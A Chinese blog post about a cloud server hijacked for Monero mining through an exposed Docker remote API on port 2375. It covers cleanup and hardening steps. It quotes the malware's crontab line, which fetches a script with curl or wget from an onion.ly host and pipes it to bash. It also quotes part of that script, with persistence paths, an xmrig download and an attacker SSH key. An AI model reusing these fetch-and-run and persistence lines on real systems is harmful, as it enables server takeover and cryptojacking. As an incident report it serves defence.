docker漏洞导致服务器沦为矿机
问题
本人有一台腾讯云的最低配云服务器,本来就是自己自娱自乐用的,前些日子在此服务器上部署了docker,在docker中运行了springboot项目及nginx,昨日在服务器中查看时忽然发现docker中运行的容器无缘无故pause,有时还会被删除掉,故开始查询故障,top命令查看其有进程/bin/exin占cpu竟然99.9%,故上网一查,得知被人当做矿机了.
解决
按照网上搜索exin进程病毒清理,主要是通过crontab定时任务来执行此进程的,该定时任务会检查是否存在exin进程,若不存在则利用curl在网上下载脚本,定时任务脚本如下:
if [ "$(pgrep -f /bin/exin|wc -l)" -eq 0 ];then /bin/exin;fi;(curl --retry 2 --connect-timeout 26 --max-time 75 -fsSLk https://eknr73utr7u7bzwo.onion.ly/wp-content/ekK9 k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'||wget --tries=2 --connect-tim eout=26 --timeout=75 --no-check-certificate -qO- https://eknr73utr7u7bzwo.onion.ly/wp-content/ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleW ebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')|/bin/bash >/dev/null 2>&1 @reboot root /usr/bin/unattended-upgrades >/dev/null 2>&1 0 */3 * * * root /usr/bin/unattended-upgrades >/dev/null 2>&1
下载的脚本部分如下:
ush="${trv}J6M86V" uks="${trv}ZOQVL" ucf="${trv}AR9DC" uc1="${trv}zbesIdqwQHdhG8DZF2KNBZXzZgPVTmNlYIPOYfo" uc2="${trv}ekK9k9Yhtp8Bsul2EmftImLTq1t078ZiP36WCco" uc3="${trv}RHNM3" ut1="${trv}PRnsapUmg3mpEBWgsrSTjHTC0jHZQiBe59BPbF3" ut2="${trv}ptQdGfoVDHfxFlahJ7Nfl93xpI6UDXkFV5WJTUm" uxi='https://xxx.xxxx/xmrig-5.5.0-xenial-x64.tar.gz' lcf1="/dev/shm/swapfile" lcf2="/bin/config.json" lex="/bin/exin" c1="/etc/cron.d/spool" c2="/etc/crontab" c3="/var/spool/cron/root" c4="/etc/cron.hourly/agetty" c5="/usr/bin/unattended-upgrades" c6="/etc/crond" td="/usr/local/includes" shk="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzvqVju3NQ4wFNceks9uEyWfgCoMt/jfywgcjaXXuOZQG9nlmah5GVdosR9Ie7qbnTCFrUB/4YyHYu6jvu0Vk9UwlauzyJO5aVXg8Jr7cwmvG9D5alzhlKTKHZOkUsD/dXe8LC/zC4cLmZRPFs3s91A9WbXbEZi1x8pys3bIgF8PUXtnzl/vjDviFoew4NG3WlOuM0SudZ1goOj2awDm/LUGCSKcgtSenyUDockCJHhv/negYpGC9C14CepID4xB1d33Q3GL4YRwnSWPJ0ewT0butdt0foOH4t0Rv0Tz5fHq3Xkiy8EZd1pohRy8GrURC259Ndw+zKTt13KKcBOnrj"
主要是下载xmrig-5.5.0-xenial-x64.tar.gz,挖门罗币的程序,然后更改了上述的一些文件,定时任务相关文件的检查及更改(ps:腾讯云的服务器监控通过定时任务发送的,故在腾讯云监控页面无CPU100%信息),将这些文件全部删除
查找原因
因为服务器只装了docker 及Mysql,且问题是在安装docker后出现,故一定是docker的问题,网上搜索了一下,docker可能暴露了2375端口,从而导致植入了脚本,查看docker:ps -ef | grep docker
,发现/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
查看果然查找到问题,对应修复即可
1.彻底禁用远程
2.设置ACL,只允许信任ip连接对应端口
3.开启TLS,使用生成的证书进行认证
(ps关于docker相关漏洞使用大佬文章:利用docker提取root权限)
总结
防护墙要开启,且无关业务的端口要禁止